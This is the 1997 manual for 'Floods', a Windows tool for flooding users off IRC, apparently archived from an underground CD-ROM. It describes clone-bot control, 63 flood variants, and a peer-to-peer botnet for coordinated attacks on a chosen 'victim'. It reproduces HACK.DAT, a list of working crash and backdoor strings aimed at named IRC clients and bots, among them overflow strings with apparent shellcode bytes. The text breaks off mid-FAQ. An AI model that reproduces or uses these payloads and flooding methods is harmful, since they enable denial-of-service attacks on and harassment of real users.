home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / hack / progsy / inne / floods2 / FLOODS.DOC < prev    next >
Encoding:
Text File  |  1997-01-22  |  38.5 KB  |  773 lines

  1. ╔════════════════════════════════════════════════════════════════════════════╗
  2. ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  3. ╚════════════════════════════════════════════════════════════════════════════╝
  4.  
  5.                                 Floods V2.0
  6.                                Documentation
  7.  
  8.                        Floods Copyright 1996 H-Master
  9.  
  10.  
  11. No parts of this document can be replicated, without the WRITTEN consent of
  12. the copyright holder, for uses other than the promotion / distribution of this
  13. software.
  14.  
  15.  
  16. ╔════════════════════════════════════════════════════════════════════════════╗
  17. ║░░  Contents  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  18. ╚════════════════════════════════════════════════════════════════════════════╝
  19.  
  20.         Contents
  21.         Introduction
  22.         Legal Issues
  23.         Features
  24.         Bare Necessities
  25.         Quick Start
  26.         Explanations of Main Menu Commands
  27.         Explanations of Sub Menus
  28.         Floodnet / Botnet
  29.         Embedded Copy of HACK.DAT
  30.         News
  31.         Contact Information
  32.  
  33.  
  34. ╔════════════════════════════════════════════════════════════════════════════╗
  35. ║░░  Introduction  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  36. ╚════════════════════════════════════════════════════════════════════════════╝
  37.  
  38.         Floods is a program you use to flood someone off IRC.  It includes a
  39.         list of backdoors as well as commands to control unlimited bots to
  40.         flood someone out.  Floods is an extremely useful tool and is VERY
  41.         devastating and thus should not be used often as that may cause your
  42.         ISP to be K-Lined from the IRC network.
  43.  
  44.  
  45. ╔════════════════════════════════════════════════════════════════════════════╗
  46. ║░░  Legal Issues  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  47. ╚════════════════════════════════════════════════════════════════════════════╝
  48.  
  49.         Although Floods is a FREEWARE, it is NOT public domain software.
  50.  
  51.         If you would like to distribute Floods as part of a shareware
  52.         distribution, magazine, internet book, CD ROM, etc.  please contact me
  53.         for permission.
  54.  
  55.         All commercial use interests in Floods should be directed to
  56.         h-master@post1.com.
  57.  
  58.         The integrity of the original Floods distribution file as distributed
  59.         by the author is essential.  Floods and all of its related files must
  60.         be distributed together in the original format.  The Floods
  61.         distribution file may not have files added to it or removed from it,
  62.         and none of its contents may be modified, decompiled, or reverse
  63.         engineered.
  64.  
  65.         Floods is provided "AS IS" without warranty of any kind, either
  66.         express or implied, including but not limited to the implied
  67.         warranties of merchantability and fitness for a particular purpose.
  68.         In no event shall the author be liable for any damages whatsoever
  69.         including direct, indirect, incidental, consequential, loss of
  70.         business profits or special damages, even if the author has been
  71.         advised of the possibility of such damages.
  72.  
  73.         Floods is provided as an educational medium.  All uses of Floods are
  74.         assumed by the author to be for education.  In no event shall the
  75.         author be liable for any damages whatsoever including direct,
  76.         indirect, incidental, consequential, loss of business profits or
  77.         special damages, even if the author has been advised of the
  78.         possibility of such damages, due to the misuse of this software,
  79.         improper handling of this software, etc.
  80.  
  81.  
  82. ╔════════════════════════════════════════════════════════════════════════════╗
  83. ║░░  Features  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  84. ╚════════════════════════════════════════════════════════════════════════════╝
  85.  
  86.         Features of Floods:
  87.  
  88.         -> Direct IRC connection.  No need for mIRC / other programs.
  89.         -> Complete control over ALL the bots.
  90.         -> Bots are not pre-loaded and are only loaded when you require them.
  91.            This saves memory.
  92.         -> Fast!  The code has been optimised and re-optimised and is very
  93.            fast.
  94.         -> Floods will stop flooding once the victim is dead or changed his
  95.            nick.  Great way to stop your bots are getting lagged themselves!
  96.         -> Flood protection.  Everytime someone sends you a message or CTCP or
  97.            whatever, he will be ignored for one minute.  The ignroe is set for
  98.            *!*@<whatever> so clones DO NOT work.
  99.         -> 21 different floods at 3 different flood levels.  That's a whopping
  100.            63 floods!
  101.         -> Includes backdoors for a lot of scripts / bots/clients.  The list
  102.            of backdoors is in HACK.DAT and can be edited by YOU to reflect
  103.            changes or additions.
  104.         -> Includes a raw command processor that accepts simple script
  105.            commands.
  106.         -> Floodnet / Botnet ability!
  107.         -> A Floods Advisor which will give you advise on what types of floods
  108.            to use after asking some questions about the situation.
  109.         -> Includes 3 level of logging.
  110.         -> For more enhancements, refer to WHATS.NEW .
  111.  
  112.  
  113. ╔════════════════════════════════════════════════════════════════════════════╗
  114. ║░░  Bare Necessities  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  115. ╚════════════════════════════════════════════════════════════════════════════╝
  116.  
  117.         I'm not sure of this list, but it should not be too far off.
  118.  
  119.         -> IBM PC or compatible.
  120.         -> Microsoft Windows 3.x or Microsoft Windows 95 / NT.
  121.         -> Winsock 1.1 API compliant networking package.
  122.         -> Access to internet via PPP.
  123.  
  124.  
  125. ╔════════════════════════════════════════════════════════════════════════════╗
  126. ║░░  Quick Start  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  127. ╚════════════════════════════════════════════════════════════════════════════╝
  128.  
  129.         Here's how to start flooding ASAP!
  130.  
  131.         1. Decompress the package which Floods came in.  If you are reading
  132.            this, you should already done that.
  133.         2. You should get the following files:
  134.  
  135. *       CSWSKCTL VBX        43,648  11-29-96 12:34p CSWSKCTL.VBX
  136.         FILE_ID  DIZ           858  01-23-97  1:00a FILE_ID.DIZ
  137.         FLOODS   DOC        39,407  01-23-97  1:00a FLOODS.DOC
  138. *       FLOODS   EXE       299,952  01-23-97  1:00a floods.exe
  139. *       HACK     DAT         2,491  01-18-97  1:00a HACK.DAT
  140.         WHATS    NEW         4,552  01-23-97  1:00a WHATS.NEW
  141.  
  142.         <Note: Those files marked with a "*" are required for the proper>
  143.         <execution of the program.                                      >
  144.  
  145.         3. Delete all the files you do not want.
  146.         4. Start your internet connection.
  147.         5. Execute FLOODS.EXE and have fun!
  148.  
  149.  
  150. ╔════════════════════════════════════════════════════════════════════════════╗
  151. ║░░  Explanations of Main Menu Commands  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  152. ╚════════════════════════════════════════════════════════════════════════════╝
  153.  
  154.         Here's a BRIEF explanation of the menu commands in the Main Menu.
  155.  
  156.         In the Main Menu (the thing you see immediately when you start the
  157.         program), there are five menus.  They are:
  158.  
  159.         Bots            Includes commands to control the bots.
  160.         Light Floods    Includes floods that are meant only to be irritating.
  161.         Medium Floods   Includes floods that are meant to flood off people with
  162.                                 bad or no flood protection.
  163.         Heavy Floods    Includes floods that are meant to flood off most
  164.                                 people.
  165.         Hacks           Includes backdoors for a number of
  166.                                 scripts / bots / clients.
  167.  
  168.  
  169.         Under the Bots menu, you will find:
  170.  
  171.         Config          To let you configure the logging type.
  172.         Load            To let you load more bots.
  173.         Stop Loading    To pause the loading process.  Load more bots to
  174.                                 resume the loading process.
  175.         Unload          To let you unload loaded bots, so as to save memory.
  176.         Advisor         Starts the Floods Advisor,
  177.         Stop Flooding   To stop flooding on a certain nick.
  178.         Stop All Flooding To stop flooding everyone.
  179.         Change Server   To let you change the server of the bots.
  180.         Change Nick     To let you change the nicks of the bots.
  181.         Raw Command     To let you directly control a bot.
  182.         Network         To let you connect to a Floods Floodnet / Botnet
  183.                                 server.
  184.         Exit            To exit the program.
  185.  
  186.  
  187.         Under the three flood menus, you will find:
  188.  
  189.         Action          Floods someone with actions.
  190.         Clientinfo      Floods someone with clientinfos requests.
  191.         CTCP Kill       Floods someone with ALL the CTCP floods.
  192.         DCC Chat        Floods someone with DCC chats.
  193.         DCC Send GarbageFloods someone with DCC sends.
  194.         DCC Kill        Floods someone with both DCC chats and sends.
  195.         Echo            Floods someone with echo requests.
  196.         Finger          Floods someone with finger requests.
  197.         Halibut         Floods someone with halibuts.
  198.         Hurrican        Floods someone with the original Hurrican floods.
  199.         Junk Text       Floods someone by sending him junk messages.
  200.         Notice          Floods someone by sending him junk notices.
  201.         Ping            Floods someone with ping requests.
  202.         Ping Reply      Floods someone by faking ping replys.
  203.         Random          Floods someone with a random flood.
  204.         Sed             Floods someone with seds.
  205.         Sound           Floods someone with sound requests.
  206.         Time            Floods someone with time requests.
  207.         Trout           Floods someone with trouts.
  208.         Tsunami         Floods someone with a tsunami.
  209.         Userinfo        Floods someone with userinfo requests.
  210.         Version         Floods someone with version requests.
  211.  
  212.         <Note: The differece between the third floods (Light, Medium and  >
  213.         <Heavy) is the interval between floods and the number of floods to>
  214.         <send.                                                            >
  215.  
  216.         <Note: A flood can also be used to flood a channel.  Use put the>
  217.         <name of the channel instead of the name of a person to flood a >
  218.         <channel.                                                       >
  219.         <E.G:                                                           >
  220.         < #mirc                                                         >
  221.  
  222.  
  223.         Under the Hacks menu, you will find:
  224.  
  225.         Clients         Includes backdoors for clients.
  226.         Scripts/Bots    Includes backdoors for scripts / bots.
  227.  
  228.  
  229. ╔════════════════════════════════════════════════════════════════════════════╗
  230. ║░░  Explanations of Sub Menus  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  231. ╚════════════════════════════════════════════════════════════════════════════╝
  232.  
  233.         When you select certain options in the Main Menu menu commands, a new
  234.         menu will pop up.  This section describes those menus.  Note that for
  235.         ALL sub menus, you must click on the label of the menu (The big button
  236.         at the very top) in order to activate the command requested.  Clicking
  237.         on the button also closes the sub menu.  If you want to close the sub
  238.         menu but not to perform the command, then use ALT-F4.
  239.  
  240.         When you choose Configuration, you will get a menu with the following:
  241.  
  242.         Log nothing at all.
  243.         Log everything that is important.
  244.         Log everything.
  245.  
  246.         These three options determine how sensitive the logging is.
  247.  
  248.         Choosing "Log nothing at all." will disable logging.
  249.         Choosing "Log everything that is important." will only log important
  250.                 events such as logging in and reconnection.
  251.         Choosing "Log everything." will log everything the bot receives in
  252.                 addition to what the bot does.
  253.  
  254.  
  255.         When you choose Load Bots, you will get a menu with the following:
  256.  
  257.         Number of clones to load:
  258.         Server to use:
  259.         Port of server:
  260.         Fake e-mail:
  261.         "Real" name:
  262.         Non-sequential nicks
  263.  
  264.         "Number of clones to load:" refers to the number of bots you wish to
  265.                 load or add to already existing ones.
  266.         "Server to use:" refers to the name or IP of the server to connect to.
  267.         "Port of server:" refers to the port of the server you are connecting
  268.                 to.  Usually, this value should be 6667, 7000, 6666, 6668 or
  269.                 6665, with 6667 being the most common and 6665 the least.
  270.         "Fake e-mail:" refers to the e-mail address you wish to appear from.
  271.                 Note that if you have an ident server running, then the remote
  272.                 server will take the value from the ident server.
  273.         ""Real" name:" refers to the name you want others to see when they do
  274.                 a WHOIS on you.
  275.         "Non-sequential nicks" when checked, will mean that the bots will not
  276.                 have nicks with their numbers-1 appended.
  277.                 E.G:
  278.                 If you have it off, bot one may have a nick like "Dav0" and
  279.                 bot two one like "Dav1"
  280.                 If you have it on, bot one may have a nick like "Dav" and bot
  281.                 two "Fat"
  282.  
  283.  
  284.         When you choose Unload Bots, you will get a menu with the following:
  285.  
  286.         Number of clones to unload:
  287.         Quit gracefully
  288.         Quit without informing server
  289.  
  290.         "Number of clones to unload:" refers to the number of bots to unload
  291.                 starting from the BACK.
  292.                 E.G:
  293.                 If you have 5 bots on and you unload 3 then only bots 1 and 2
  294.                 will remain.
  295.  
  296.         "Quit gracefully" and "Quit without informing server" are used to
  297.         determine how the bot quits.
  298.  
  299.         By using "Quit gracefully", the bot will first inform the server that
  300.                 it is quitting before disconnecting.
  301.         By using "Quit without informing server", the bot will just
  302.                 disconnect.  This will cause the bot to appear to be still on.
  303.                 Until the server pings the bot, the resources dedicated to the
  304.                 bot by the server will be lost.
  305.  
  306.  
  307.         When you choose Advisor, you will get a menu with the following:
  308.  
  309.         Some questions, options.
  310.  
  311.         Answer all the questions truthfully and if you do not know any of the
  312.         first 3 answers, put in the second smallest value.  If you do not know
  313.         any of the least 2 answers, put in the biggest value.  Note that the
  314.         reply from the Advisor MAY NOT be correct.  You should add in a bit of
  315.         common sense.  If your flood fails, try increasing the "dosage" and if
  316.         it got your bots off too often, try decreasing it.  If that still does
  317.         not work, then e-mail me and give as much information about the
  318.         situation as possible.  Of course, this would mean that you will not
  319.         be able to flood the victim then, but then, at least you get to learn.
  320.  
  321.  
  322.         When you choose Change Server, you will get a menu with the following:
  323.  
  324.         From ? to ?
  325.         Change server to:
  326.         Server to use:
  327.         Fake e-mail:
  328.         "Real" name:
  329.         Non-sequential nicks
  330.         
  331.         "From ? to ?" refers to the start and end of the bots to perform the
  332.                 action.  The first "?" refers to the start bot number and the
  333.                 other refers to the end bot number.
  334.                 E.G:
  335.                 "From 1 to 3" means that clones 1, 2 and 3 will perform the
  336.                 action.
  337.  
  338.         "Change server to:" refers to the name or IP of the server to connect to.
  339.  
  340.         For explanations of "Port of server:", "Fake e-mail:", ""Real" name:"
  341.                 and "Non-sequential nicks" refer to previous explanations.
  342.  
  343.  
  344.         When you choose any flood, you will get a menu with the following:
  345.  
  346.         Flood Type:
  347.         Flood:
  348.         From ? to ?
  349.  
  350.         "Flood Type:" is already set and refers to the flood you are going to
  351.                 release.
  352.         "Flood:" refers to the person / channel to flood.
  353.  
  354.         For explanations of "From ? to ?", refer to previous explanation.
  355.  
  356.  
  357.         When you choose Change Nick, you will get a menu with the following:
  358.  
  359.         From ? to ?
  360.         Change nick to:
  361.  
  362.         "Change nick to:" refers to the nick to change to.
  363.  
  364.         For explanations of "From ? to ?", refer to previous explanation.
  365.  
  366.         <Note: If in "From ? to ?", both the "?" are the same, then the bot>
  367.         <will change to a non-sequential nick.                             >
  368.         <E.G:                                                              >
  369.         <From 1 to 1, new nick = "David"                                   >
  370.         <Bot 1 will change nick to "David"                                 >
  371.  
  372.  
  373.         When you choose Raw Command, you will get a menu with the following:
  374.  
  375.         From ? to ?
  376.         Command to send:
  377.  
  378.         "Command to send:" refers to the command to send.  Note that this
  379.                 command is in the form of direct server commands, so to send
  380.                 a message, you will use:
  381.                 PRIVMSG <NICK / CHANNEL> <MESSAGE>
  382.                 You are not advised to use this option if you are unfamiliar
  383.                 with direct server commands.  Note that if you want to perform
  384.                 more than one command, you can seperate them with a "|".
  385.                 Also, having a number in front of a command will make the bots
  386.                 perform the action for that number of times.  Note that this
  387.                 timer CANNOT be nested, so "2 2 PRIVMSG #mirc Hello" will NOT
  388.                 send 4 "Hello"s to #mirc, but will just give an error.
  389.                 E.G:
  390.                 If you have bots 1 to 3 performing "2 PRIVMSG #mirc Hello"
  391.                 then the sequence of actions will be:
  392.  
  393.                 Bot 1 -> PRIVMSG #mirc Hello
  394.                 Bot 2 -> PRIVMSG #mirc Hello
  395.                 Bot 3 -> PRIVMSG #mirc Hello
  396.                 Bot 1 -> PRIVMSG #mirc Hello
  397.                 Bot 2 -> PRIVMSG #mirc Hello
  398.                 Bot 3 -> PRIVMSG #mirc Hello
  399.  
  400.                 If you have bots 1 to 3 performing "PRIVMSG #mirc Hello |
  401.                 PRIVMSG #mirc Hello again!" then the sequence of actions will
  402.                 be:
  403.  
  404.                 Bot 1 -> PRIVMSG #mirc Hello
  405.                 Bot 2 -> PRIVMSG #mirc Hello
  406.                 Bot 3 -> PRIVMSG #mirc Hello
  407.                 Bot 1 -> PRIVMSG #mirc Hello again!
  408.                 Bot 2 -> PRIVMSG #mirc Hello again!
  409.                 Bot 3 -> PRIVMSG #mirc Hello again!
  410.  
  411.                 <Note: Due to the fact that some bots may be faster than    >
  412.                 <others and that some bots may be tied down performing other>
  413.                 <commands, the sequence may NOT be strictly followed.       >
  414.  
  415.         For explanations of "From ? to ?", refer to previous explanation.
  416.  
  417.  
  418.         When you choose Network, you will get a menu with the following:
  419.  
  420.         Connect / Disconnect
  421.         Connected
  422.         Hop list
  423.         And a dropdown menu with:
  424.         Chat
  425.         Flood
  426.         Sort Lists
  427.         Find an IP
  428.  
  429.         "Connect / Disconnect" is a button that displays either "Connect" or
  430.                 "Disconnect" depending whether you are connected, as a client,
  431.                 or not.  Use this button to disconnect or connect.
  432.         "Connected" contains a list of ALL the clients / servers connected to
  433.                 the network.
  434.         "Hop list" contains a list of ALL the clients / servers connected to
  435.                 the network with the route messages will take to reach them.
  436.                 E.G:
  437.                 111.111.111.111|666.666.666.666|222.222.222.222
  438.                 means that if you want to send a message to 222.222.222.222
  439.                 you need to send the message to 111.111.111.111 which will
  440.                 send the message to 666.666.666.666 which will in turn send
  441.                 the message to 222.222.222.222.
  442.         Chat            Start the network chatting menu.
  443.         Flood           Starts the network flood menu, which will let you
  444.                                 select a flood for everyone to flood the
  445.                                 victim with.
  446.         Sort Lists      Sorts both your list of network clients / servers.
  447.         Find an IP      Finds either an IP or a hop list in your lists.
  448.                         E.G:
  449.                         If you want to find IP 111.111.111.111 you type in
  450.                         "111.111.111.111".  If you want to find the message
  451.                         route to 111.111.111.111, you type "route
  452.                         111.111.111.111". If you already know the route and
  453.                         just want to have a look at it, type in
  454.                         "666.666.666.666|111.111.111.111", whereby
  455.                         666.666.666.666 is the route.  If you want to list all
  456.                         the clients whose route contain 111.111.111.111 you
  457.                         type in "path 111.111.111.111", note that this list
  458.                         will include "111.111.111.111" itself.
  459.  
  460.         <Note: If you choose Network without being the client to any       >
  461.         <connection, then you will be asked whether you want to connect to >
  462.         <anyone.  You need to connect to someone or have someone connect to>
  463.         <you before you can chat over the network or request for a network >
  464.         <flood.                                                            >
  465.  
  466.  
  467.         When you choose Chat, you will get a menu with the following:
  468.  
  469.         A list box
  470.         A text box
  471.  
  472.         The list box will list all the conversation that took place and any
  473.                 other network message such as someone requesting for a flood.
  474.                 Note that if you want to clear the list, just double click
  475.                 on any line in the list box.
  476.         The text box will allow you to chat.  If you just type a message in,
  477.                 then the message will reach everyone on the network.  If you
  478.                 use "/MSG <IP> <MESSAGE>", whereby <IP> is the address of
  479.                 someone on the network and <MESSAGE> is the message you want
  480.                 to send, the message will only reach <IP>.  It is a good idea
  481.                 to inform others via chat before starting a network flood.
  482.  
  483.  
  484.         When you choose Flood, you will get a menu with the following:
  485.  
  486.         Flood level
  487.         One dropdown list
  488.         Flood:
  489.  
  490.         "Flood level" refers to the intensity of the flood, Light, Medium or
  491.                 Heavy.
  492.         The dropdown list is used to let you select the flood to request.
  493.         "Flood:" refers to the nick to flood.
  494.  
  495.  
  496.         When you choose Hacks, you will get a menu with the following:
  497.  
  498.         One dropdown list
  499.         Bot number:
  500.         Send to:
  501.  
  502.         The dropdown list is used to let you select the backdoor to use.
  503.         "Bot number:" refers to the bot to perform the backdoor.
  504.         "Send to:" refers to the person to receive the backdoor.
  505.  
  506.         <Note: ALL backdoors are stored in HACK.DAT, which you are edit   >
  507.         <yourself to reflect changes or additions.  The format of HACK.DAT>
  508.         <is:                                                              >
  509.         <                                                                 >
  510.         <-----<Client/Script>-----                                        >
  511.         <followed by the hacks.                                           >
  512.         <                                                                 >
  513.         <The hacks themselves are in the format:                          >
  514.         <                                                                 >
  515.         < <Name of hack>:<Command>                                        >
  516.         <                                                                 >
  517.         <The <Command> format is similiar to the format for raw commands. >
  518.         <                                                                 >
  519.         <There are 3 additional tags for <Command>.  They are:            >
  520.         <                                                                 >
  521.         < $1 -> Refers to the person to send the backdoor to.             >
  522.         < #  -> Refers to the channel to send the backdoor to.  If there  >
  523.         <               is no "#" in front, then one will be added.       >
  524.         < $? -> The format of this is: $?="<Message>".  Whereby <Message> >
  525.         <               refers to a prompt to ask for a command.          >
  526.         <                                                                 >
  527.         < For more information, refer to the copy of HACK.DAT embedded in >
  528.         < this document.                                                  >
  529.  
  530.  
  531. ╔════════════════════════════════════════════════════════════════════════════╗
  532. ║░░  Floodnet / Botnet  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  533. ╚════════════════════════════════════════════════════════════════════════════╝
  534.  
  535.         There is now a new way to flood.  It normally consists of an eggdrop
  536.         or some other server which is permanantly on IRC.  If someone wishes
  537.         to join the network, he dcc chats or raw connect to the eggdrop.  When
  538.         anyone on the network decides he doesn't like the nick of a victim, he
  539.         can use a command, such as !pkill, and EVERYONE on the network with
  540.         Floodnet / Botnet compatibility will start flooding the victim.  This
  541.         way, using conventional flood protection, Ignore after 5-10
  542.         messages / CTCPs, will still get the victim off.
  543.  
  544.         Floods has its own built-in Floodnet / Botnet.  When you wish to
  545.         connect to someone, just go to the main menu and select Bot->Network.
  546.         Floods will then prompt you whether you want to connect and so on.
  547.         Alternatively, you can go to the Network sub menu and click on the
  548.         Connect button.  If you can connected, the connect button will change
  549.         to disconnect.  Refer to "Explanations of Main Menu Commands" and
  550.         "Explanations of Sub Menus" for more information.
  551.  
  552.         However, there is ONE difference between conventional Floodnet /
  553.         Botnet and Floods' Floodnet / Botnet.  For Floods' Floodnet / Botnet,
  554.         you DO NOT NEED A SERVER.  Everyone on the network can be a server and
  555.         a client.  However, you can only be the client in ONE connection.  For
  556.         example:
  557.  
  558.                   A -<- B -<- C
  559.                         |
  560.                         ^
  561.                         |                    A -<- B means that B is a client
  562.                   F ->- D -<- E              connected to A.
  563.  
  564.         In this sample network, there is no prominent server, except maybe for
  565.         A.  In this example, if B decides to flood someone, B will send the
  566.         command string to all DIRECTLY connected to himself: A, C and D.  Then
  567.         those 3 will send the command string to those DIRECTLY connected to
  568.         them, EXCEPT B.  This way, ALL the clients / servers get the command.
  569.  
  570.         The only two drawbacks of this system of networking is that if B
  571.         disconnects, A and C will be out of the network.  However, the good
  572.         news is that Floods will automatically make C and D connect to A.
  573.         The other drawback is that if D is desperately lagged, then when B
  574.         wants to flood someone, E and F may not get the message fast enough.
  575.         But then, this way, as there is no server, no single one of the clients
  576.         / servers will get too lag due to the network.  Of course, if you can
  577.         get me a FAST PERMANENT site for an eggdrop, I would gladly set one
  578.         server up.  Of course, other than the server, I may use the site for
  579.         other stuff :).
  580.  
  581.  
  582. ╔════════════════════════════════════════════════════════════════════════════╗
  583. ║░░  Embedded Copy of HACK.DAT  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  584. ╚════════════════════════════════════════════════════════════════════════════╝
  585.  
  586.         This is a copy of the HACK.DAT file contained in the Floods package.
  587.  
  588. -----------------------<< Start of HACK.DAT >>-----------------------
  589. -----SCRIPT-----
  590. Borg Talk:PRIVMSG # : ╗≥░»╓
  591. Chark Bot:PRIVMSG $1 :ZJEHOVAH | PRIVMSG $1  :ZLEVITICUS | PRIVMSG $1  :ZEXODUS | PRIVMSG $1  :ZGENESIS
  592. ClayBear Kill:PRIVMSG $1 :DO /quit
  593. ComBot Kill:PRIVMSG $1 :dcc
  594. CToolZ Flash:NOTICE $1 :TESTIG !!
  595. Djinn:PRIVMSG $1 :DCC SEND blah&kill
  596. DweebBot:PRIVMSG $1 :ooook
  597. Eggdrop Kill:PRIVMSG $1 :Hello | 3 PRIVMSG $1 :whois 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉδ^3╥ëVëV╕V45V4ìNï╤═Ç3└@═ÇΦ╫
  598. GODbot:PRIVMSG $1 :l33t | PRIVMSG $1 :go l33t lamah
  599. Hot Ice V2:PRIVMSG # :a=00220022ice
  600. Killer:PRIVMSG $1 :/kgkill /quit KGKILL!
  601. M and L:PRIVMSG # :OPME | PRIVMSG # :lunizop
  602. Pierce:PRIVMSG $1 :+say /quit
  603. Speed Script:PRIVMSG $1 :┐
  604. Stealth User:NOTICE $1 :53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54
  605. Vlad Kill 1:PRIVMSG $1 :note create public time to die | PRIVMSG $1 :note delline | PRIVMSG $1 :note delline 8 | PRIVMSG $1 :note create public 4 m-eye frendz | PRIVMSG $1 :note delline 2
  606. ZoDiaC:PRIVMSG $1 :SUP
  607. -----CLIENT-----
  608. Acid!IRC:PRIVMSG # :
  609. ircii(Linux reg):PRIVMSG $1 :DCC CHAT cow 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1234 moo 1 $+ 
  610. IRCLE (Mac Client):PRIVMSG $1 :GESTALT
  611. Mirc 3.8:JOIN #hellothere! | INVITE $1 #hellothere! | INVITE $1 #hellothere!youpieceofshit!
  612. Mirc 3.8 2:JOIN #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | TOPIC #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | INVITE $1 #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | PART #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  613. VaX:PRIVMSG $1 :action says hello
  614. WSIRC Kill:PRIVMSG $1 :A
  615. -----------------------<< End of HACK.DAT >>-----------------------
  616.  
  617.  
  618. ╔════════════════════════════════════════════════════════════════════════════╗
  619. ║░░  News  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  620. ╚════════════════════════════════════════════════════════════════════════════╝
  621.  
  622.      This new section is devoted to announcements, interesting stuff, tips,
  623.      tricks, questions, etc. on Floods and Floods LITE.  Feel free to send me
  624.      e-mail on additions for this section.
  625.  
  626.         - Announcements -
  627.  
  628.         -> You can now get the latest copy of Floods at
  629.            http://www.post1.com/~h-master
  630.  
  631.         -> Note that my e-mail has changed!
  632.  
  633.         -> I really need a site where you can run an eggdrop, so as to set up
  634.            a permanent Floodnet / Botnet server.  If you send me one that is
  635.            fast and works, I will upgrade you to supporter status.  Also, if
  636.            you require payment, we can always come to an agreement.
  637.  
  638.  
  639.         - Interesting Stuff / Tips / Tricks -
  640.  
  641.         -> Pros and Cons of different types of networking.
  642.            - If you are in the middle of the network, such as B and D,
  643.  
  644.                   A -<- B -<- C
  645.                         |
  646.                         ^
  647.                         |                    A -<- B means that B is a client
  648.                   F ->- D -<- E              connected to A.
  649.  
  650.              your messages will be spread to the most people in the least
  651.              time.  This mean that if you want to flood someone, more people
  652.              will be able to flood with you then if you are at the end of a
  653.              network, such as F, E, A and C.  However, you must have a fast
  654.              connection or else all the messages passing through you to get
  655.              to the others will lag you.
  656.  
  657.            - I am going to introduce 3 types of networking to you.  I am not
  658.              sure whether they have any "accepted" name and will make them
  659.              up as we go along.
  660.  
  661.              The first type is linear networking:
  662.  
  663.                   A -<- B -<- C              A -<- B means that B is a client
  664.                                              connected to A.
  665.  
  666.              This, in my opinion is the WORST way to form a network.  If any
  667.              client / server in the middle decides to disconnect, the entire
  668.              network breaks up into 2.  Worst still, if C wants to flood
  669.              someone, by the time the message reaches A, C may already have
  670.              started flooding.  This means that it's harder to flood together.
  671.              Imagine if the network consists of 10 clients / servers.  If the
  672.              first wants to flood, he may already stop before the last one
  673.              starts flooding!
  674.  
  675.              The second type is server-based networking:
  676.  
  677.                   A ->- B -<- C              A -<- B means that B is a client
  678.                         |                    connected to A.
  679.                         ^
  680.                         |
  681.                         D
  682.  
  683.              In this case, B is the server.  This is a better type of
  684.              networking than linear networking because if any CLIENT
  685.              disconnects, the network is still in one "piece".  Also, the
  686.              maximum number of computers any message has to pass through is
  687.              one, excluding the sender and receiver.  However, there are some
  688.              requirements.  Firstly, B must be VERY fast especially if it's
  689.              a large network, otherwise, the entire network gets lagged and
  690.              messages cannot get around fast enough.  Secondly, if B does
  691.              down, the entire network is gone.  Not in 2 "pieces" as in linear
  692.              networking, but totally gone.
  693.  
  694.              The last type is client-based networking:
  695.  
  696.                   A -<- B -<- C
  697.                         |
  698.                         ^
  699.                         |                    A -<- B means that B is a client
  700.                   F ->- D -<- E              connected to A.
  701.  
  702.              In my opinion, this is the best of both worlds.  It isn't as slow
  703.              as linear networking, it doesn't require any particular
  704.              client / server to be super fast and it doesn't break up totally
  705.              if any client / server quits.  However, as it is still more or
  706.              less linear-based, it is slower than server-based networking
  707.              (assuming it takes one unit of time for a message to be passed
  708.              from any one client / server to another) and it requires that
  709.              SOME of the clients / servers be reasonaly fast, between linear
  710.              and server-based requirements.
  711.  
  712.  
  713.         - Frequently Asked Questions -
  714.  
  715.         -> Q: When I start Floods, it says that I do not have some of the
  716.               files.  Where can I get them?
  717.            A: You should be able to get ALL the files required by Floods at my
  718.               homepage.  If you can't, leave me a message.
  719.  
  720.         -> Q: Windows reported that I have a "device unavailible" error.  What
  721.               should I do?
  722.            A: Your copy of winsock.dll is not compatible with Floods.  Get a
  723.               new one.  Note that the copy of winsock I am using is the one
  724.               supplied with Windows 95.
  725.  
  726.         -> Q: When I start the program, Windows 95 says that the language file
  727.               is missing and refuses to run the program.
  728.            A: This is quite a common problem.  There are 2 solutions I can
  729.               think of.  They are:
  730.  
  731.               1. Install Visual Basic 4.0.  Once installed, VB4 will set the
